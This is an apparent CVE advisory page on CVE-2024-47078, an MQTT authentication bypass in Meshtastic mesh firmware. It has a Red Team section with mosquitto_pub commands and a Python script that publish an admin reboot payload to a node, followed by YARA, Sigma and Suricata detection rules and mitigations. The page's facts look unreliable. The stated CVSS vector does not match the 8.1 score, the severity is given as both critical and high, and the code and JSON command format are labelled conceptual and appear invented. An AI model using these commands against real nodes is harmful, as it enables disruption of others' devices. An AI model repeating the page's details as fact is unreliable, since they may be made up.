CVE-2024-47078
Executive Summary
CVE-2024-47078 is a critical authentication and authorization bypass vulnerability in the Meshtastic open-source mesh networking project. Meshtastic enables off-grid, decentralized communication over LoRa radio, with an optional MQTT bridge for internet connectivity. The vulnerability resides in the MQTT implementation, allowing an unauthenticated attacker to send arbitrary commands to MQTT-connected nodes, effectively bypassing all access controls. This can lead to unauthorized control of devices, data exfiltration, and disruption of mesh communications. The CVSS score of 8.1 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high impact on confidentiality, integrity, and availability. The Meshtastic project has released version 2.5.1 to address these weaknesses.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but in the core Meshtastic firmware. However, the MQTT broker component may be a third-party service (e.g., public MQTT brokers), introducing supply chain risks if the broker itself is compromised. Users should ensure they trust their MQTT broker and use TLS encryption.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N) – exploitable remotely over the internet or local network.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – the vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – attacker can read all MQTT messages, including sensitive data.
- Integrity Impact: High (I:H) – attacker can send arbitrary commands to nodes.
- Availability Impact: High (A:H) – attacker can disrupt mesh operations or cause denial of service.
Threat Level: Critical for any Meshtastic deployment using MQTT. The EPSS score of 0.0% suggests low exploitation likelihood currently, but the vulnerability is trivial to exploit once discovered.
Deep Dive & Mechanics
Meshtastic nodes can optionally connect to an MQTT broker to relay messages over the internet. The MQTT implementation in versions prior to 2.5.1 has multiple weaknesses:
- Authentication Bypass: The MQTT client does not properly validate the broker’s identity or require authentication for incoming commands. An attacker can connect to the same MQTT broker (or a rogue broker) and publish messages that are accepted as legitimate by Meshtastic nodes.
- Authorization Bypass: Even if authentication is present, the authorization checks are insufficient. The node does not verify that the publisher has the right to send certain commands (e.g., remote administration, firmware updates).
- Lack of Input Validation: The MQTT payload is not sanitized, allowing injection of malicious commands that can alter node behavior, exfiltrate data, or disrupt the mesh.
The attack flow:
- Attacker discovers the MQTT broker address (e.g., via Shodan or network scanning).
- Attacker connects to the broker without credentials (or with default/weak credentials).
- Attacker publishes a crafted MQTT message to the topic that Meshtastic nodes subscribe to (e.g.,
msh/2/c/...). - The node processes the message as if it came from a legitimate source, executing the attacker’s commands.
Vulnerable vs. Patched Code
The patch in version 2.5.1 introduces proper authentication and authorization checks. Below is a conceptual comparison (actual code may vary):
Vulnerable (pre-2.5.1):
// No authentication check
void onMqttMessage(String topic, String payload) {
// Directly process payload without verifying source
processCommand(payload);
}
Patched (2.5.1):
// Authentication and authorization check
void onMqttMessage(String topic, String payload) {
if (!isAuthenticatedPublisher(topic)) {
log("Unauthorized MQTT message ignored");
return;
}
if (!isAuthorizedCommand(payload)) {
log("Unauthorized command ignored");
return;
}
processCommand(payload);
}
The patch also enforces TLS by default and requires MQTT credentials to be configured.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Meshtastic node with MQTT enabled (version < 2.5.1).
- The MQTT broker address (e.g.,
mqtt.example.com:1883). - A tool like
mosquitto_pubor a Python script.
Exploitation Steps:
- Discover MQTT Broker: Use Shodan or scan for open MQTT ports (1883, 8883) with the
meshtastickeyword. - Connect to Broker: Use
mosquitto_subto listen for Meshtastic topics:mosquitto_sub -h mqtt.example.com -t "msh/2/c/#" -v - Send Malicious Command: Publish a command to the node’s topic:
This would reboot the node with IDmosquitto_pub -h mqtt.example.com -t "msh/2/c/!abcd1234" -m '{"type":"admin","action":"reboot"}'!abcd1234.
Python Exploit Script:
import paho.mqtt.client as mqtt
def exploit(broker, topic, payload):
client = mqtt.Client()
client.connect(broker, 1883, 60)
client.publish(topic, payload)
print(f"Sent payload to {topic}")
# Example usage
exploit("mqtt.example.com", "msh/2/c/!abcd1234", '{"type":"admin","action":"reboot"}')
Blue Team (Defense & Detection)
Detection:
- Monitor MQTT traffic for unusual topics or payloads.
- Look for connections from unknown IPs to the MQTT broker.
- Check for repeated failed authentication attempts (if credentials are used).
Honeypot:
- Set up a fake Meshtastic node that logs all MQTT messages and alerts on suspicious commands.
Mitigation:
- Upgrade to version 2.5.1 immediately.
- Use TLS (port 8883) and strong MQTT credentials.
- Restrict MQTT broker access to known IPs.
- Disable MQTT if not needed.
Indicators of Compromise (IOCs)
Network IOCs:
- MQTT connections to unknown brokers on port 1883 or 8883.
- MQTT messages with topics like
msh/2/c/...containing JSON payloads with"type":"admin". - Unusual outbound traffic from Meshtastic nodes to internet IPs.
Host IOCs:
- Unexpected node reboots or configuration changes.
- Log entries showing
"Unauthorized MQTT message ignored"(if patched) or missing logs (if vulnerable). - Modified firmware or settings.
File IOCs:
- Presence of malicious MQTT payloads in packet captures.
Detection Engineering
YARA Rule
rule CVE_2024_47078_Meshtastic_MQTT_Exploit {
meta:
description = "Detects MQTT payloads targeting CVE-2024-47078 in Meshtastic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-47078"
strings:
$mqtt_topic = "msh/2/c/" ascii wide nocase
$admin_cmd = "\"type\":\"admin\"" ascii wide nocase
$reboot_cmd = "\"action\":\"reboot\"" ascii wide nocase
$firmware_cmd = "\"action\":\"firmware_update\"" ascii wide nocase
condition:
$mqtt_topic and ($admin_cmd or $reboot_cmd or $firmware_cmd)
}
Sigma Rule
title: CVE-2024-47078 Meshtastic MQTT Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects MQTT messages attempting to exploit CVE-2024-47078
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: mqtt
detection:
selection:
topic|contains: "msh/2/c/"
payload|contains:
- "\"type\":\"admin\""
- "\"action\":\"reboot\""
- "\"action\":\"firmware_update\""
condition: selection
falsepositives:
- Legitimate administrative commands from authorized users
level: high
Suricata Rule
alert tcp any any -> any 1883 (msg:"CVE-2024-47078 Meshtastic MQTT Exploit Attempt"; flow:to_server; content:"msh/2/c/"; nocase; content:"\"type\":\"admin\""; nocase; content:"\"action\":\"reboot\""; nocase; sid:1000001; rev:1;)
alert tcp any any -> any 8883 (msg:"CVE-2024-47078 Meshtastic MQTT Exploit Attempt (TLS)"; flow:to_server; content:"msh/2/c/"; nocase; content:"\"type\":\"admin\""; nocase; content:"\"action\":\"firmware_update\""; nocase; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade all Meshtastic nodes to version 2.5.1 or later.
- Enable TLS on MQTT connections (port 8883) and use strong credentials.
- Restrict MQTT broker access to trusted IPs only.
- Disable MQTT if not required for your use case.
Long-Term Measures:
- Implement network segmentation for IoT devices.
- Regularly audit MQTT logs for suspicious activity.
- Subscribe to Meshtastic security advisories.
Workaround (if patching is not possible):
- Use a firewall to block inbound MQTT connections from the internet.
- Use a VPN for MQTT traffic.
Valters IT